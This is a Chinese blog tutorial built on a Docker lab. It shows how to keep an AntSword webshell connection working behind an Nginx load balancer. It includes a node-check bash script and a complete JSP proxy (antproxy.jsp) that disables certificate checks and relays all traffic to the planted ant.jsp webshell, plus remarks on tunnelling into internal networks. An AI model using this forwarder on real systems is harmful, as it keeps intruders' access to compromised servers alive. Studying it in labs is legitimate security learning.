【无标题】

一、Nginx负载均衡下的webshell连接
1.环境搭建以及webshell连接
这里使用docker搭建环境,解压进入/root/AntSword-Labs-master/loadbalance/loadbalance-jsp目录,直接docker-compose up -d

链接:https://pan.baidu.com/s/1jP9uWlrn0PwTGrnqQ-uZrw?pwd=3pza 
提取码:3pza

然后蚁剑直接连接

因为两台服务器都有ant.jsp,所以连接不会出现问题

 

成功后进入终端,可以看到每次我们执行hostname -i命令都会输出不一样的结果,那是因为Nginx负载均衡代理飘忽不定,一会儿代理到node1,一会儿代理到node2

 

 那这个时候就出现问题了

2.出现的问题
1.我们在执行命令时,无法知道下次的请求交给哪台机器去执行,也就是上图所展示的那样。

2.我们在上传工具时,由于工具可能较大,会被分片传输,那我们怎么知道这些数据包一定会上传     到同一台服务器呢,也就是说你的工具可能会被分成两半,一半在一台服务器上,而另一半在另     一台服务器上

比如,我这里上传的是1M的文件,但当你刷新时,文件被分成两半了

3.由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可     在这个场景下,这些 tunnel 脚本全部都失灵了。

由于这一块的内容我还没学习到,所以就简单说说

当我们拿下目标服务器之后,由于目标服务器不出网,想要到内网只能将目标服务器作为代理,建立一个隧道,给我们代理到内网去,但是由于Nginx负载均衡,数据传输到一半可能又会被转到另一台服务器上去

那这些问题怎么解决呢?

3.解决方案
1.关掉其中多余的服务器

这个方案理论上来说确实可行,关掉多余的服务器,只保留一台服务器,Nginx检测不到心跳包,自然会将其他服务器视为宕掉,那就不会有问题了

但是这个方案在真实环境中就是在作死,关掉服务器是很严重的安全事故,所以直接pass

实验环境下如果权限够可以试一试

2.利用shell脚本在执行命令前判断要不要执行

shell脚本如下

#!/bin/bash
MYIP=`hostname -i`
if [ $MYIP == "172.23.0.2" ];then
    echo "Node1. I will exec command.\n=========\n"
    hostname -i
else
    echo "Other. Try again."
fi

由于内容少,文件体积小,可以直接通过蚁剑上传, 不会被分片传输

可以看到如果ip地址为172.23.0.3,那就不会执行命令,返回Try again

反之如果ip地址为172.23.0.4,那就执行命令,输出hostname -i结果

然而这种方法只解决了第一个问题------不知道哪台服务器会执行我们的命令

但是最重要的第二、第三个问题没有解决,我们依然无法上传我们的工具,无法确定数据包的走向

3.利用多余的服务器做一次web层面的流量转发 

在这里我们可以把发给172.23.0.3的流量数据包发给我们想要的服务器上,也就是172.23.0.2,因为这两台web服务器是可以互相访问的

 在每一台服务器上都传入这样一个脚本,让流量都转发到一台服务器上,注意ip修改成自己想要的服务器ip

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
 
<%
        String target = "http://172.23.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

 然后这时候不要直接用蚁剑传入,因为数据量大,可能会被分片

我们最好新建一个名为antproxy.jsp的文件,多新建几次,因为可能其他服务器没有新建成功,多刷新几次

然后复制我们的脚本,多保存几次,刷新

直到都为3.22kb为止

这时候我们再编辑连接,改为antproxy.jsp

这个时候会有一个问题就是明明脚本里面没有连接密码,那怎么会填入密码ant呢?

是因为这个脚本最终转发还是转发在了ant.jsp上,可以看上面的具体ip,而ant.jsp密码就是ant

连接成功后我们进入命令行

可以看到并没有出现之前的情况了,IP地址一直为172.23.0.2,不会再出现飘忽不定的现象了 

 
 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值